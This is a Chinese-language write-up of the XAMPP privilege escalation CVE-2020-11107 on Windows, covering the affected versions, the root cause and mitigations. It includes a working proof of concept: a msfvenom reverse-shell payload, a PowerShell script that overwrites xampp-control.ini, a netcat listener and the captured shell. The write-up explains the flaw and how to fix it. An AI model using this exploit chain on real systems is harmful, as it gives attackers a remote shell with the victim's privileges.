🧨 CVE-2020-11107 – XAMPP 本地权限提升 (Windows)

📌 概述

CVE-2020-11107 是一个影响 Windows 上 Apache Friends XAMPP 的 本地权限提升 (LPE) 漏洞。

非特权用户可以修改 XAMPP 控制面板配置文件 (xampp-control.ini)，并将默认编辑器可执行文件 (notepad.exe) 替换为恶意可执行文件。
当另一个用户（例如管理员）通过控制面板打开日志时，恶意二进制文件会以受害者的权限执行，从而导致权限提升。

❗ 该漏洞不影响 Linux 或 macOS。

🎯 受影响版本

• XAMPP < 7.2.29
• XAMPP 7.3.x < 7.3.16
• XAMPP 7.4.x < 7.4.4

测试环境

• Windows 10
• XAMPP 7.3.10

🧠 根本原因

• xampp-control.ini 全局可写
• 编辑器/浏览器路径被信任并执行
• 配置更改会影响所有用户
• 可执行路径未经验证

🗂 重要文件

C:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe

🔍 漏洞证明

验证 XAMPP 版本：

type C:\xampp\properties.ini

示例输出：

base_stack_version=7.3.10-1
base_stack_platform=windows-x64

✅ 该版本存在漏洞。

⚔️ 利用步骤 (PoC)

1️⃣ 生成恶意载荷 (攻击者 – Kali)

msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe

2️⃣ 将载荷传输到目标

mkdir C:\temp
# Upload msf.exe into C:\temp

3️⃣ 修改 XAMPP 配置 (低权限用户)

利用脚本 (PowerShell)：

# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

运行脚本：

powershell -ExecutionPolicy Bypass -File 50337.ps1

4️⃣ 触发执行 (受害者/管理员)

受害者启动：

C:\xampp\xampp-control.exe

然后从控制面板打开任意日志文件。

5️⃣ 捕获 Shell (攻击者)

nc -lvnp 4444

✅ 结果：

Connection received...
C:\WINDOWS\system32>

🎉 权限提升成功

📈 影响

• 本地权限提升
• 任意命令执行
• 完全系统入侵 (如果管理员触发)

🛡 缓解措施

• 将 XAMPP 更新到以下版本之一（或更新版本）：

  • 7.2.29
  • 7.3.16
  • 7.4.4

• 限制以下文件的权限：

C:\xampp\xampp-control.ini

• 避免以管理员身份运行 XAMPP 控制面板

📚 参考资料

• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11107
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-11107
• Apache Friends 公告: https://www.apachefriends.org/blog/new_xampp_20200401.html
• Exploit-DB: https://www.exploit-db.com/exploits/50337
• 原始研究: https://github.com/S1lkys/CVE-2020-11107